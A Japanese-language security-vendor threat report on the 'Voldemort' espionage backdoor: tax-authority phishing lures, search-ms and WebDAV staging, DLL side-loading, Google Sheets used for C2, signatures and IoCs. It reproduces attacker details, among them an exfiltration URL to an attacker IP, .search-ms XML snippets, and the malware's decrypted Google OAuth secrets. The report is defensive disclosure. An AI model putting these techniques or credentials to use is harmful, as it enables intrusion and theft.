Threat actor hood

名前を言ってはいけない:スパイ活動の疑いがある "ヴォルデモート "マルウェア

Share with your network!

主な調査結果 

  • プルーポイントのリサーチャーは、「Voldemort(ヴォルデモート)」と名付けたマルウェアを配信する特異的な攻撃キャンペーンを確認しました。  
  • プルーフポイントは、活動の目的はスパイ活動であると中程度の確信を持って評価しています。  
  • この攻撃活動はヨーロッパ、アジア、アメリカ、日本の各国政府の税務当局になりすまし、世界中の数十の組織を標的にしました。
  • 攻撃の最終目的は不明ですがが、Voldemort(ヴォルデモート)は情報収集と追加ペイロードをダウンロードする能力を備えています。
  • Voldemortの攻撃チェーンは、コマンド・アンド・コントロール(C2)にGoogle スプレッドシートを使ったり、外部共有に保存された検索ファイルを使ったりするなど、特異的なカスタマイズ機能を備えています。
     

概要 

2024年8月、プルーフポイントのリサーチャーは、カスタムマルウェアを配信するために斬新な攻撃チェーンを使用する特異的な攻撃キャンペーンを確認しました。プルーフポイントは、このマルウェア内で使用されている内部ファイル名と文字列に基づいて、このマルウェアを「Voldemort(ヴォルデモート)」と命名しました。

この攻撃チェーンは、現在、多くの攻撃で流通している複数の手法とともに、Google スプレッドシートをコマンド・アンド・コントロール(C2)のために使用するなど、一般的ではない手法で構成されています。その戦術、技術、手順(TTP)の組み合わせ、各国の政府機関になりすました誘いテーマ、「test」のような奇妙なファイル名とパスワードは注目に値します。リサーチャーは当初、この活動がレッドチームによるものではないかと疑っていましたが、大量のメッセージとマルウェアの分析により、攻撃グループによるものと断定しました。

プルーフポイントは、これは情報収集を目的としたAPT(高度標的型攻撃)である可能性が高いと中程度の確信を持って評価しています。しかし、プルーフポイント社は、特定の攻撃グループ(※プルーフポイントではTAで始まるグループ命名)に高い信頼性をもってアトリビューションさせるための十分なデータを現時点では持ち合わせていません。標的が広範囲に及んでおり、典型的なサイバー犯罪の特徴と一致しているにもかかわらず、活動の性質とマルウェアの機能は、現時点では金銭的利益よりもむしろスパイ活動への関心の高さを示しています。

VoldemortはC言語で書かれたカスタム・バックドアで、情報収集や追加のペイロードを投下する機能を備えています。プルーフポイントは、この攻撃グループのインフラ上でCobalt Strikeがホストされていることを確認しており、これが配信されるペイロードの1つである可能性が高いと考えています。
 

攻撃キャンペーン詳細

攻撃量とターゲット

2024年8月5日に始まった悪質な活動には20,000を超えるメッセージが含まれ、世界の70以上の組織に影響を与えました。最初のメッセージの波は毎日数百通でしたが、8月17日に急増し、合計6,000通近くになりました。  

攻撃グループは、様々な税務当局からのメッセージを装って、受信者に税務申告の変更について通知しています。攻撃キャンペーンの期間中、米国(IRS: 内国歳入庁)、英国(HM Revenue & Customs)、フランス(Direction Générale des Finances Publiques)、ドイツ(Bundeszentralamt für Steuern)、イタリア(Agenzia delle Entrate)、そして8月19日からはインド(Income Tax Department)、日本(国税庁)の税務当局がなりすましに使われました。それぞれの攻撃ルアー(おとり文書)はカスタマイズされ、なりすまそうとしている当局の言語で書かれていました。

プルーフポイントのアナリストは、メールの文言と一部の標的とされた人物について公開されている情報を関連付け調査したところ、攻撃グループが標的組織の活動国やメールアドレスから抽出できる国や言語ではなく、居住国を使って標的を絞っていることを突き止めました。例えば、欧州の多国籍組織に属するある標的となった人物は、公開されている情報から米国と結びついていたため、米国のIRS(内国歳入庁)になりすました電子メールを受け取っていました。ただし、一部の被害者は、その人と同姓同名の人物がインターネット上で情報が公開されている場合、実際に攻撃を受けた被害者の居住国とは異なる言語と内容の攻撃メールを受け取っていました。 

電子メールは侵害された疑いのあるドメインから送信され、行為者は電子メール・アドレスに実在する機関のドメインを含めていた。例えば、米国国税庁になりすました電子メールは、次のようなものでした。

差出人: Federal IRS <no_reply_irs[.]gov@amecaindustrial[.]com>  

その他の送信者ドメインには以下も含まれます:

        tblsys[.]com 
        joshsznapstajler[.]com 
        ideasworkshop[.]it 

Voldemoteマルウェアのおとりメール(英国、フランス、日本)

 

英国(HM Revenue & Customs)とフランス(Direction Générale des Finances Publiques)、日本(国税庁)になりすましたメール文面  
 

攻撃は18の異なる業種を標的としていましたが、標的となった組織のほぼ4分の1は保険会社でした。残りの50%は航空宇宙、運輸、大学でした。  

Figure 2

Voldemortマルウェアのメール攻撃キャンペーンの標的の業種内訳
 

攻撃チェーン

メッセージには、InfinityFreeでホストされているランディングページにリダイレクトするGoogle AMP Cache URLが含まれています。ランディングページには、クリックするとブラウザのユーザーエージェントをチェックする「Click to view document」リンクが含まれています。

Figure 3

InfinityFreeがホストするランディングページでは、バックグラウンドでユーザーエージェントのチェックが行われ、
「ドキュメントを表示」ボタンをクリックした後、被害者にWindowsエクスプローラを開くよう求めるポップアップが表示さる

 

User Agent に「windows」が含まれている場合、ブラウザは.search-msで終わるTryCloudflareでトンネリングされたURIを指すsearch-ms URIにリダイレクトされ、被害者にWindowsエクスプローラを開くよう促しますが、このクエリが被害者に表示されることはなく、結果として表示されるポップアップのみが表示されます。また、ロギングサービスpingb.inを実行しているIPアドレス上の/stage1で終わるURLから画像をロードし、リダイレクト成功のログを記録します。pingb.inサービスを使用することで、攻撃者は被害者に関する追加のブラウザおよびネットワーク情報を収集することができます。

Figure 4

ランディングページに埋め込まれたHTMLリダイレクトロジック
 

User Agent に "windows "が含まれていない場合、ブラウザは空のGoogle Drive URLにリダイレクトされ、pingb.inのIPから同様に画像を読み込みますが、URLの末尾は/stage0になります。これにより、攻撃者は、ボタンをクリックしたが悪意のあるコンテンツは提供されなかった人のブラウザとネットワークの詳細を追跡することができます。

被害者がWindowsエクスプローラーを開くことを受け入れると、Windowsエクスプローラーはリンクされた.search-msファイルの指示に従ってWindows検索クエリーを無言で実行します。.search-msファイルはユーザーにダウンロードされたり表示されたりすることはなく、このブログの「保存された検索ファイル形式の悪用」で説明するファイル形式を悪用します。この結果、Windowsショートカットファイル(ファイル拡張子がLNKのファイル)、またはキャンペーン後半では、元の電子メールのルアーに関連するファイル名を使用したWindowsエクスプローラで同様のLNKを含むZIPファイルが表示されます。 このLNKまたはZIPは、同じTryCloudflareホスト上にホストされていますが、別のWebDAV共有である \pubache にホストされています。このファイルは、外部共有ではなく、受信者のホストのダウンロード フォルダに直接ホストされているように見えます。また、PDFアイコンを使って別のファイルタイプを装っています。これら2つのテクニックにより、受信者はローカルのPDFファイルであると信じ、コンテンツをクリックする可能性が高くなってしまいます。  

Figure 5

外部WebDAVにホストされているPDFを、あたかもユーザーのローカルダウンロードフォルダにあるかのように見せかけるショートカット

 

LNK が実行されると、PowerShell が起動され、同じトンネル上の 3 番目の WebDAV 共有 (\resource\)から Python.exe が実行され、同じホスト上の 4 番目の共有 (\resource\)にある Python スクリプトが引数として渡されます。これにより、Pythonはコンピュータにファイルをダウンロードすることなく、WebDAV共有から依存関係を直接ロードしてスクリプトを実行します。

Figure 6

LNKを開いたときにユーザーに表示されるセキュリティ通知


実行されるPythonスクリプトは、言語と地理的なターゲットによって、オリジナルのルアーに固有のものです。興味深いことに、このチェックはランディングページですでに行われていたにもかかわらず、オペレーティングシステムのチェックから始まります。スクリプトがWindows環境を検出すると、特定のアクションを実行します。しかし、他のオペレーティング・システムでは、何の機能も実行されません。Windows上でのこれらのアクションには、以下が含まれます:

  • Python関数platform.uname()を使って、コンピュータ名、Windowsのバージョン情報、CPU情報など、コンピュータに関する情報を収集
  • 例えば、ランディングページと同じpingb.inのIPにGETリクエストでデータをURLのbase64として送信するが、URLには以下のように/stage2-2/を指定:   hxxp://83[.]147[.]243[.]18/p/7c31e3ebfb77ead34ea71900b1b0/stage2-2/[base64 string] 

Figure 7

攻撃者のpingb.inのWebインターフェース

Figure 8

pingb.inトラフィックのPCAP  

GETリクエストは、Python HTTPライブラリによって自動的に生成される標準ヘッダー以外、他のデータを含んでいません。そして、OpenDrive(OneDriveのようなファイルホスティングサービス)からターゲット国に関連するおとりPDFをダウンロードし、それを開きます。

Figure 9

フランスのDGFIP(Direction Générale des Finances Publiques)になりすましたおとりPDF

スクリプトは、コンピュータ名、ユーザー名、ドメイン、そして再びplatform.uname()の結果を収集し、それをbase64文字列として格納し、上記のように投稿しますが、今回はURLに/stage1-2/を含んでいます(stage2-2の後に実行されているにもかかわらず)。

これは、パスワードで保護されたtest.pngまたはlogo.pngというZIPファイルをOpenDriveからダウンロードし、それを%localappdata%MicrosoftWindows\test.zipまたはlogo.zipとして保存し、"test@123 "というパスワードを使用して、中身のCiscoCollabHost.exeとCiscoSparkLauncher.dllを抽出します。

このファイルは CiscoCollabHost.exe を実行し、Python スクリプトの最終アクションとしてダウンロードした ZIP を削除します。CiscoCollabHost.exe は WebEx に関連する正規の実行ファイルで、CiscoSparkLauncher.dll という DLL をサイドロードするために使用されます。

エクスポートされたDLL名「Voldemort_gdrive_dll.dll」、またはキャンペーン後半では「Voldemort_gdrive_c.dll」を持つCiscoSparkLauncher.dllについては、本レポートのマルウェア分析セクションで詳しく説明しています。ProofpointはこのペイロードをVoldemortとして追跡しています。

各ランディング ページへの URL は固定されていますが、最初の seach-ms クエリおよびその後の WebDAV 共有で使用される TryCloudflare トンネルのホスト名は、頻繁に毎日変更されています。ホスト名が変更されても、WebDAV共有の構造は同じです:

        \public\ - contains the .search-ms files. 
        \pub\ - contains the LNK or later ZIP files 
        \library\ - contains the Python distribution and dependencies 
        \resource\ - contains the Python scripts 

Voldemortは情報収集機能を備えたバックドアであり、追加のペイロードをロードすることができます。このマルウェアと関連するペイロードの技術的な詳細については、以下をご覧ください。
 

サイバー犯罪の雰囲気を持つAPT活動

興味深いことに、この攻撃グループは、サイバー犯罪の世界では一般的になりつつある複数のテクニックを使用しており、その量とターゲティングもサイバー犯罪キャンペーンに沿ったものであることに加えて、特異的な特徴を持っています。それは、この攻撃キャンペーンにおいて使われている誘い文句は、サイバー犯罪においては典型的なものですが、バックドアに含まれる機能は、スパイ活動に使用されるツールに通常見られる機能とより類似しています。

攻撃グループは、ファイルスキーマURIを悪用して、マルウェアのステージングのために外部のファイル共有リソース(特にWebDAVとSMB(Server Message Block))にアクセスします。これは、スキーマ「file://」を使用し、悪意のあるコンテンツをホストするリモートサーバーを指すことで行われます。この手口は、IAB(イニシャル・アクセス・ブローカー)を含むサイバー犯罪脅威によって、ますます多く、 頻繁に 観察されるようになっています。  

プルーフポイントのリサーチャーは最近、Cloudflareトンネルの悪用が増加していることを確認しました。特に、攻撃者がアカウントを作成せずに1回限りのトンネルを作成できるTryCloudflare機能が注目されています。トンネルは、仮想プライベートネットワーク(VPN)やセキュアシェル(SSH)プロトコルを使用するように、ローカルネットワーク上にないデータやリソースにリモートアクセスする方法です。  TryCloudflare トンネルを使用するたびに、trycloudflare[.]com上にランダムなサブドメインが生成されます(例: ride-fatal-italic-information[.]trycloudflare[.]com)。サブドメインへのトラフィックは、Cloudflareを通して運営者のローカルサーバーにプロキシされます。注目すべきことに、Voldemort の活動では、プルーフポイントが他の悪意のある活動クラスターで観測したように、攻撃メッセージキャンペーンの波ごとに新しいトンネルを作成するのではなく、2024 年 8 月の 1 か月間で攻撃グループが使用した独自の TryCloudflare トンネルはわずか 4 つでした。以前に観測された活動とは異なり、このキャンペーンでは Python の依存関係がホスト上で直接ダウンロードされず、代わりに WebDAV 共有からロードされました。  
 

保存された検索ファイル形式の悪用

一般的に、攻撃者はWindowsの検索プロトコル(search-ms)を悪用し、リモートマシンにホストされているファイルをフォルダ内にローカルに表示します。この手法は、さまざまなリモートアクセス型トロイの木馬(RAT)を展開するためによく使用されます。Search-msは、アプリケーション、JavaScript、またはHTMLが、信頼できるコンテンツのように見えるリモートファイルをホスト上に直接表示することを可能にします。プルーフポイントは、コモディティマルウェアのユーザーからイニシャル・アクセス・ブローカー(IAB)に至るまで、複数のサイバー犯罪の脅威者がこの手法を活用していることを確認しています。Voldemortマルウェアのキャンペーンでは、WebDAV共有上に検索クエリをファイルとして保存させる保存検索ファイル形式(.search-ms)という、ほとんど観測されていない手法が使用されています。   

通常、攻撃者がマイクロソフトの検索プロトコルを悪用する場合、URIには検索が実行されるホスト、実行されるクエリ、検索の表示名が含まれます。このケースでは、search-ms URIには表示名と、同じく.search-msで終わるWebDAV共有上のURIに対する以下のようなサブクエリだけが含まれていました。

        Search[:]displayname=Downloads&subquery=%5C%ways-sms-pmc-shareholders[.]trycloudflare.com@SSL%5Cpublic%5CSA150_Notes_2024.search-ms 

さらに不可解なことに、このクエリをWindowsエクスプローラで開くと、代わりに.lnkまたは.zipファイルの検索に誘導され、ファイルが開かれたことなどの表示は一切なく、クエリは無言で実行されました。さらに、プルーフポイントのリサーチャーが手動でファイルの場所を確認したところ、そのファイルは、もはやthe \public shareにはありませんでした。その代わりに、表示されたファイルは同じホスト上にある「˶」共有に存在していました。調査の結果、リサーチャーは、開くと検索URIを開いたのと同じ体験をもたらす仮想フォルダを発見しました。この仮想フォルダは、実際には検索URIで使用されている.search-msファイルでした。

Figure 10

ブラウザ経由でWebDAV共有を手動でブラウズ

これらの.search-msファイルは、"Saved Search File Format"というタイプのXMLファイルであることが判明しました。通常、これらのファイルはWindowsで検索を実行し、検索ウィンドウで右クリックして "Save search "を選択するなど、手動で検索を保存したときに作成されます。

Figure 11

ローカルで検索し、検索結果を保存して.search-msファイルを作成

Figure 12

検索結果を保存した後の.search-msファイル

検索を保存すると、Windowsホスト上の保存された検索フォルダに.search-msファイルが作成されます。しかし、既知のファイルタイプの拡張子を表示するオプションが選択されていても、この拡張子は隠されます。これは、Windowsショートカットの拡張子.lnkをユーザーが通常見ないのと似ています。保存された検索の機能は、誰かが定期的に同じ検索を実行し、一貫した方法で表示された結果で簡単に繰り返したい状況を意図しています。search:やsearch-ms.URIと似ています:URIと同様に、同じ検索を再度実行します。しかし、.search-msファイルでは、ユーザーはWindowsエクスプローラに結果をより具体的に表示させる方法を指定することもできます。.search-msファイルを悪用すると、被害者がローカルマシン上のフォルダにいないことを示す要素を、より効果的に隠すことができます。

この攻撃者が使用していた.search-msファイルの中から興味深い部分をいくつか紹介します:

  • ファイルを手動で編集し、特にビューを "ダウンロード" として表示するように指定:
       <viewInfo iconSize="32" stackIconSize="0" displayName="Downloads" autoListFlags="0"> 
  • Windows エクスプローラーでナロー・ビューを定義することで、ファイルがどの共有でホストされているかを示すアーティファクトをより効果的に隠す:
       <column viewField="System.ItemFolderPathDisplayNarrow"/> 
  • 共有上の悪意のあるファイルのみを表示する検索条件:
     <condition type="leafCondition" property="System.FileName" operator="starts with"   propertyType="string" value="ABC_of_Tax.zip" localeName="en-US"> 
  • 検索するフォルダまたは共有へのパスを指定。GUIDはネットワークの場所を示す:
    <include path="::{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\\\invasion-prisoners-inns-aging[.]trycloudflare[.]com@SSL\pub" attributes="1887437133"/> 
  • .search-msファイルを作成したWindowsユーザーの表示名を含むAuthor Type:
       <author type="string">test</author> 

 

マルウェア解析

このマルウェアは、DLLハイジャックに対して脆弱なCiscoCollabHost.exeを利用して実行されます。この実行ファイルは、実行ファイルと同じディレクトリにあるCiscoSparkLauncher.dllというDLLをロードしようとしますが、この場合はマルウェアです。唯一の要件は、DLLが正しい名前を持ち、SparkEntryPointという関数をエクスポートすることです。  

このSparkEntryPointは、短時間で実行されるサンドボックスを回避しようとするジッター量と、およそ5〜10分のスリープメカニズムで開始します。

Figure 13

スリープタイムの計算

そしてマルウェアは、比較的ユニークなAPIを動的に呼び出すルーチンを持っています。関数を解決して呼び出すために、マルウェアはDLLハンドル、関数へのコールバック、呼び出そうとする関数の引数を渡します。 

Figure 14

関数を解決して呼び出すためのコール

コールバックは、Windows APIを呼び出す関数の中で呼び出される文字列を復号する関数です。  

Figure 15

解決された関数を呼び出し、引数をスタックに保持するスタブ

Cobalt Strikeのシェルコードは、リゾルバが探している関数を呼び出すだけでなく、その関数をリゾルバするテクニックをよく使います。

文字列を復号するために、このマルウェアはXTEAに非常によく似たアルゴリズムに依存していますが、ブロック復号のループを取り除くために展開されています。

Figure 16

復号アルゴリズム

展開されたアルゴリズムは以下の通り:

Figure 17

展開されたアルゴリズム

分析中、プルーフポイントはこのアルゴリズムが非標準的であることを発見したため、エミュレーション手法を用いて埋め込まれた文字列を復号しました。

MrExodiaによる素晴らしいツールDumpulator を利用すれば、x64dbgでマルウェアのダンプを作成し、それをPython環境内のカスタム・ツールとして使うことができます。

Figure 18

文字列を復号するためのDumpulatorの使い方を示すPythonコード

これによって、比較的シンプルでWindowsの内部に依存しない関数をマルウェア内で呼び出すことができます。これには、他の呼び出しを行わず、データを変換するだけの関数が適しています。  

Pythonスクリプトはエミュレーションを使用して文字列の復号を実装し、最後に暗号化された内容を書き込んだ割り当てメモリーから復号化された文字列を読み取ることができます。このコードをDLLのデータセクション全体で実行すると、サンプル内のすべての復号化された文字列が得られます:

Figure 19

復号化された文字列 

APIコールが解決されると、マルウェアは自身のコンフィギュレーションを復号化することで続行します。暗号化されたコンフィギュレーションへの直接の参照を保存する他のマルウェアとは異なり、このマルウェアは自身のファイルから検索する文字列を含んでいます。  

Figure 20

”g00 "で示される暗号化されたコンフィギュレーションの開始

次の4バイトはコンフィグの長さを示し、残りのデータは実行ファイル名「CiscoCollabHost.exe」を使ったXOR暗号によって復号されます。このデータを復号すると、マルウェアがコマンド&コントロール(C2)サーバーと通信するために必要なキーが得られます。次の表は、コンフィギュレーションから関連する復号化された文字列を示しています。  

test 

962194083343-nevo9pjnlr7cgirjs1eonpebakrlq3qc.apps.googleusercontent.com 

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 

1//0eg8RBquaRQvhCgYIARAAGA4SNwF-L9IrSsPADLEx_CMsoJYspPSfaoeUbxii4xLVK10CafejzYAEBi2IptPt9KpwO7vphUTPFtest 

962194083343-nevo9pjnlr7cgirjs1eonpebakrlq3qc.apps.googleusercontent.com 

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 

1//0eg8RBquaRQvhCgYIARAAGA4SNwF-L9IrSsPADLEx_CMsoJYspPSfaoeUbxii4xLVK10CafejzYAEBi2IptPt9KpwO7vphUTPF28 

マルウェアは、専用のインフラや侵害されたインフラを使用するのではなく、C2、データ流出、オペレーターからのコマンド実行のためにGoogle スプレッドシートのインフラを利用します。

この時点で、マルウェアはC2との通信を開始するために必要な情報をすべて入手している。マルウェアはクライアント・トークンを使ってGoogle スプレッドシートを使用しているため、Google シートにデータを書き込む前に認証を行う必要があります。 

Figure 21

Google からアクセストークンを取得する POST リクエスト

クライアントID、クライアント・シークレット、リフレッシュ・トークン値は、復号されたコンフィギュレーションから取り出され、アクセストークンを受け取るために送信されます。

Figure 22

Googleからアクセストークンを取得する生リクエスト

アクセストークンを取得したマルウェアは、ボット用のコマンドを含む指定されたGoogle スプレッドシートを読むことができます。

Figure 23

C2として機能するシートからデータを読み取るコード

シートを読み取るための最初のリクエストは、自身のデータをどこに書き込むかをチェックするために行われます。UUIDが返された場合、そのセット内にすでに被害者のデータがあることがわかります。その後、UUIDが返されなくなるまで、2:2などの読み取りを続行します。以下は、UUIDが返されたことを示すリクエストです: 

Figure 24

シートから返されたUUIDを示す生レスポンス

6回繰り返した後、マルウェアがUUIDを取り戻さなければ、マルウェアは既存のボットデータを上書きすることなく、それらのセルに自由に書き込むことができることを示しています。

Figure 25

UUIDが返されないことを示す生の応答

意図しない結果として、セルを反復するこのループは、指定されたGoogleシート内に何人の犠牲者がいるかを示しています。

マルウェアはデータを書き込めるセルを見つけると、6行目にホスト情報の配列を送ります:

Figure 25

Google シートにホスト情報をアップロードするボットの生のリクエスト

以下の表に、このリクエストに含まれる注目すべきフィールドのいくつかを示します。このリクエスト内のほとんどの値はbase64でエンコードされ、RC4キーとして実行ファイルのファイル名を使用してRC4で暗号化されます(例: "CiscoCollabHost.exe"):

Bot UUID  

Local IP 

Hostname 

Username 

Program Files list 

Program Files (x86) list  

Environment Variables 

Filename of executable 

Infection Timestamp 

フィールドの説明

マルウェアのこの時点で、攻撃者はGoogleシート経由でボットにコマンドを発行できます。マルウェアがサポートするコマンドは以下の通り:

  • Ping 
  • Dir 
  • Download 
  • Upload 
  • Exec 
  • Copy 
  • Move 
  • Sleep 
  • Exit 

これらはすべて、操作が成功したか否かを示す独自のステータス・メッセージと、マルウェアのリーク名「Voldemort」を伴っています。  

Figure 26

コマンド実行に関連するステータスメッセージの復号
 

Googleを探索

マルウェアが通信プロトコルとして標準的なサービスを使用しており、そのサービスがGoogle スプレッドシートからデータを読み取るためにクライアントIDとクライアントシークレットを公開していることを確認した後、どのような情報が利用可能かを確認するために、指定されたGoogle スプレッドシートを探索する価値があると感じました。以下のPythonコードにより、Google スプレッドシートetにホスト情報を送信するまでに至ったアクティブな感染をすべて特定しました。合計で、合計6つの被害者をシートで観測し、そのうちの1つを除くすべてがサンドボックスまたは既知のリサーチャーでした。

Figure 27

Google シートからデータを読み込む方法を紹介するPythonコード

Googleシート内の他のページを探索することで、スプレッドシートに登録されている少数のボットについて、攻撃者経由で実行されたコマンドを確認することもできました。攻撃者が相互作用する被害者マシンごとに、ホスト名+ユーザー名を名前とする新しいページが作成されます。この記事を書いている時点では、攻撃者は2つのディレクトリのディレクトリリストを表示するコマンドしか実行していませんでした。  Googleシート内の他のページを探索することで、スプレッドシートに登録されている少数のボットについて、攻撃者経由で実行されたコマンドを確認することもできました。攻撃者が相互作用する被害者マシンごとに、ホスト名+ユーザー名を名前とする新しいページが作成されます。この記事を書いている時点では、攻撃者は2つのディレクトリのディレクトリリストを表示するコマンドしか実行していませんでした。  

Google スプレッドシートの閲覧から読み解けたことをもとに、私たちはこれらの仕組みが他に何を読むことができるのか見る必要性を感じた。Sheetリーダーと同じようなPythonコードをGoogle Driveの読み込みに使ってみると、興味深い結果が得られました。そのためにはフォルダIDが必要です。幸運なことに、Sheet IDと同様に、このDrive IDは感染したマシンがDriveに興味のあるファイルをアップロードするための設定に埋め込まれていました。  

Figure 28

Google Drive内のファイルを一覧表示するPythonコード

このスクレイピングにより、フォルダーの内容全体を照会し、特定のアップロードされたファイルをダウンロードすることができた。この作業から、我々は以下のファイルを特定しました:

  • API (Google Sheet used for C2) 
  • 7za.exe (7z executable) 
  • Test.7z (Password protected 7z) 

追加のフォルダ: 

  • V1 [2023] 
  • V2 [2023] 
  • V1 [2023] 

これらのディレクトリには、OpenWRT ファームウェア・コードに関連するトレーニング資料が含まれていました。  

Figure 29

攻撃者のGoogle Driveのディレクトリ出力

これらのファームウェアの画像に加えて、以下のような1枚の写真がありました:

Figure 30

OpenWRTのGUI

プルーフポイントのリサーチャーは、これらのファイルが被害者のいずれとも対話するために使用されていないのを確認しています。そのため、これらのファイルの目的は不明です。これらのファイルは、行為者が行った他の活動の残りである可能性があります。  

グーグル・ドライブ内のtest.7zというファイルは、パスワードで保護された7-zipアーカイブです。パスワードは明らかにされていないが、一般的に観測されているパスワード "test123 "でアーカイブは簡単に復号されました。このアーカイブにはDLLと実行ファイルが含まれていました。 

Figure 31

攻撃者によってアップロードされたテストファイルを示すディレクトリ一覧

実行ファイル "Shuaruta.exe "は、DLLのサイドローディングに脆弱なもう一つの実行ファイルです。Shuaruta.exeプログラムは、Go言語で書かれ、単にCobalt Strike Beaconをロードする「nvdaHelperRemote.dll」をサイドロードするために使われる可能性があります。幸運なことに、Goバイナリの開発者はシンボルとデバッグ情報を使ってこれをコンパイルしました。

Figure 32

Cobalt Strike を注入するための Go バイナリに含まれるデバッグ出力

これにより、潜在的なユーザー名 (yOIR) と DLL がコンパイルされた時期の情報が得られます。最後に、Cobalt Strike ビーコン自身から設定を抽出すると、以下の関連フィールドが得られました:

        DOMAINS: ['autodiscover[.]iitt[.]eu[.]org'] 

        URIS: ['/ows/v1/OutlookCloudSettings/settings/global'] 

        WATERMARK: 987654321 

        USERAGENT: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64;Trident/6.0) 

このCobalt Strike構成の透かしは、ソフトウェアのクラックされたバージョンに関連しています。この透かしは、オープンソースレポートの複数の無関係な脅威で観察されています。eu[.]orgドメインは、非営利団体に無料のサブドメインを提供する一般に利用可能なドメインです。  
 

アトリビューション(攻撃者の紐づけ)

プルーフポイント社では、この活動を既知の攻撃グループとは断定していません。マルウェアの機能性やシートを調査した際に観察された収集データから、情報収集がこの攻撃キャンペーンの目的の1つであったと考えられます。キャンペーンの特徴の多くはサイバー犯罪の脅威活動と一致していますが、私たちは、これはまだ不明な最終目的を支援するために行われたスパイ活動である可能性が高いと評価しています。

フランケンシュタインのように巧妙に洗練された機能と、非常に基本的なテクニックや機能が組み合わされているため、脅威行為者の能力のレベルを評価することは難しく、キャンペーンの最終的な目標を高い信頼性を持って決定することは困難です。大量の電子メールを使用して、実際の標的を目立たなくさせた可能性もありますが、攻撃者が何十もの組織を純粋に感染させたかった可能性も同様にあります。また、ツールの開発や初期アクセスに関するさまざまなレベルの経験を持つ複数の攻撃者がこの活動に取り組んだ可能性もあります。全体として、これは非常に特異的な攻撃キャンペーンとなっています。
   

なぜそれが重要なのか

この行動には、複数のサイバー犯罪の攻撃者が、初期アクセスのエコシステム全体で継続的な実験の一環として同様のテクニックを使用しており、複数のばらばらのキャンペーンで観察された最近流行しているさまざまなテクニックが組み合わされています。この攻撃キャンペーンで使用されたテクニックの多くは、サイバー犯罪の現場でより頻繁に観察されており、スパイ活動の疑いを持たれている攻撃者は、金銭的な動機を持つ攻撃者と同じTTPを使用することが多いことを示しています。

この活動はスパイ活動と一致しているように見えますが、この脅威クラスターに関連する今後の活動によって、この評価が変わる可能性もあります。その場合、サイバー犯罪行為者は、典型的な電子犯罪の配信特性をいくつか示す一方で、現在運営者だけが利用可能で、広範なキャンペーンでは悪用されていない珍しい機能を備えたカスタマイズされたマルウェアを使用し、また、金銭的動機に基づくキャンペーンでは通常見られない非常に特殊な標的を設定していたことになります。

観察された行動に対する防御には、外部ファイル共有サービスへのアクセスを既知のセーフリスト対象サーバーのみに制限すること、TryCloudflareへのネットワーク接続が業務上必要ない場合はブロックすること、スクリプトでのsearch-msの使用や、LNKやPowerShellの実行などの不審な後続行動を監視して警告することなどが含まれます。

プルーフポイント社は、本レポートに掲載されているサービスを悪用した行為について、サイバーセキュリティ業界の同業ベンダーに情報提供しています。

 

Emerging Threats シグネチャ 

2857963 - ETPRO HUNTING GoogleSheets API V4 Activity (Fetch Single Cell with A1 Notation)  

2857964 - ETPRO HUNTING GoogleSheets API V4 Response (Single Cell with UUID)  

2857976 - ETPRO HUNTING GoogleSheets API V4 Activity (Possible Exfil)  

2858210 - ETPRO MALWARE Voldemort System Info Exfil  

IoC (Indicators of compromise / 侵害指標) 

Indicator 

Description 

First Observed 

hxxps://pubs[.]infinityfreeapp[.]com/SA150_Notes_2024[.]html 

Redirect Target / Landing Page 

2024-08-12 

hxxps://pubs[.]infinityfreeapp[.]com/IRS_P966[.]html 

Redirect Target / Landing Page 

2024-08-06 

hxxps://pubs[.]infinityfreeapp[.]com/Notice_pour_remplir_la_N%C2%B0_2044[.]html 

Redirect Target / Landing Page 

2024-08-13 

hxxps://pubs[.]infinityfreeapp[.]com/La_dichiarazione_precompilata_2024[.]html 

Redirect Target / Landing Page 

2024-08-05 

hxxps://pubs[.]infinityfreeapp[.]com/Steuerratgeber[.]html 

Redirect Target / Landing Page 

2024-08-13 

hxxps://od[.]lk/s/OTRfNzQ5NjQwOTJf/test[.]png 

Python Payload (Renamed ZIP containing Voldemort) 

2024-08-05 

hxxps://od[.]lk/s/OTRfODQ1Njk2ODVf/2044_4765[.]pdf 

Python Payload (Decoy PDFs) 

2024-08-05 

hxxps://od[.]lk/s/OTRfODM5Mzc3NjFf/irs-p966[.]pdf 

Python Payload (Decoy PDFs) 

2024-08-06 

hxxps://od[.]lk/s/OTRfODM3MjM2NzVf/La_dichiarazione_precompilata_2024[.]pdf 

Python Payload (Decoy PDFs) 

2024-08-05 

hxxps://od[.]lk/s/OTRfODQ1NDc2MjZf/SA150_Notes_2024[.]pdf 

Python Payload (Decoy PDFs) 

2024-08-12 

hxxps://od[.]lk/s/OTRfODQ1NzA0Mjlf/einzelfragen_steuerbescheinigungen_de[.]pdf 

Python Payload (Decoy PDFs) 

2024-08-13 

hxxp://83[.]147[.]243[.]18/p/ 

pingb.in base URL 

2024-08-05 

3fce52d29d40daf60e582b8054e5a6227a55370bed83c662a8ff2857b55f4cea 

test.png/zip SHA256  

2024-08-05 

561e15a46f474255fda693afd644c8674912df495bada726dbe7565eae2284fb 

CiscoSparkLauncher.dll SHA256 (Voldemort Malware) 

2024-08-05 

6bdd51dfa47d1a960459019a960950d3415f0f276a740017301735b858019728 

CiscoCollabHost.exe SHA256 (Benign file used for side-loading) 

2024-08-05 

pants-graphs-optics-worse[.]trycloudflare[.]com 

TryCloudflare Tunnel Hostname 

2024-08-05 

ways-sms-pmc-shareholders[.]trycloudflare[.]com 

TryCloudflare Tunnel Hostname 

2024-08-05 

recall-addressed-who-collector[.]trycloudflare[.]com 

TryCloudflare Tunnel Hostname 

2024-08-05 

hxxps://sheets[.]googleapis[.]com:443/v4/spreadsheets/16JvcER-0TVQDimWV56syk91IMCYXOvZbW4GTnb947eE/ 

Voldemort C2 

2024-08-05 

hxxps://resource[.]infinityfreeapp[.]com/ABC_of_Tax[.]html 

Redirect Target / Landing Page 

2024-08-19 

hxxps://resource[.]infinityfreeapp[.]com/0023012-317[.]html 

Redirect Target / Landing Page 

2024-08-19 

hxxps://od[.]lk/s/OTRfODQ4ODE4OThf/logo[.]png 

Python Payload (Renamed ZIP containing Voldemort) 

2024-08-19 

hxxps://od[.]lk/s/OTRfODQ5MzQ5Mzlf/ABC_of_Tax[.]pdf 

Python Payload (Decoy PDFs) 

2024-08-19 

0b3235db7e8154dd1b23c3bed96b6126d73d24769af634825d400d3d4fe8ddb9 

logo.png/zip SHA256 

 

2024-08-19 

fa383eac2bf9ad3ef889e6118a28aa57a8a8e6b5224ecdf78dcffc5225ee4e1f 

CiscoSparkLauncher.dll Hash (Voldemort Malware) 

2024-08-19 

